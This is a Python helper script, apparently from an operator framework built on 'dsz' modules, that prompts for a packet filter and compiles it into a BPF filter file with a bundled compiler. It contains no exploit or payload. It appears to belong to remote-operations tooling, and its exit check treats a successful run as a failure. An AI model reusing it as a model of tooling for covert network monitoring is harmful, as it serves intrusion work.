import dsz.lp.gui.terminal
import sys, os.path, os
import dsz.ui, dsz
import ops.cmd

def create_and_compile():
    bpfcompiler = ('%s/DSky/Tools/%s-%s/BpfCompiler.exe' % (dsz.lp.GetResourcesDirectory(), 'i386', 'winnt'))
    filterstring = dsz.ui.GetString('Please enter the filter to wish to use: ')
    netmaskstring = '255.255.255.0'
    os.makedirs(os.path.join(dsz.lp.GetLogsDirectory(), 'CompiledBpf', 'src'))
    while 1:
        filtname = dsz.ui.GetString('What would you like to name the filter?')
        infasm = os.path.join(dsz.lp.GetLogsDirectory(), 'CompiledBpf', 'src', ('%s.fasm' % filtname))
        outfilt = os.path.join(dsz.lp.GetLogsDirectory(), 'CompiledBpf', ('%s.filt' % filtname))
        if os.path.exists(outfilt):
            dsz.ui.Echo(('%s already exists, please choose another name' % outfilt), dsz.ERROR)
        else:
            break
    f = open(infasm, 'w')
    f.write(('filter:%s\n' % filterstring))
    f.write(('netmask:%s' % netmaskstring))
    f.close()
    runcmd = ops.cmd.getDszCommand('local run -redirect')
    runcmd.command = ('""%s" -i "%s" -o "%s""' % (bpfcompiler, infasm, outfilt))
    runobject = runcmd.execute()
    output = runobject.processoutput[0].output.strip().replace('\n\n', '\n')
    if (runobject.processstatus.status != 0):
        dsz.ui.Echo('There was an error generating the filter', dsz.ERROR)
        dsz.ui.Echo(output, dsz.ERROR)
        return None
    else:
        dsz.ui.Echo('Compiled filter:', dsz.GOOD)
        for line in output.split('\n'):
            if line.startswith('0'):
                dsz.ui.Echo(line)
        dsz.ui.Echo(('Compiled filter file: %s' % outfilt), dsz.GOOD)
    return outfilt
if (__name__ == '__main__'):
    if (create_and_compile() != True):
        sys.exit((-1))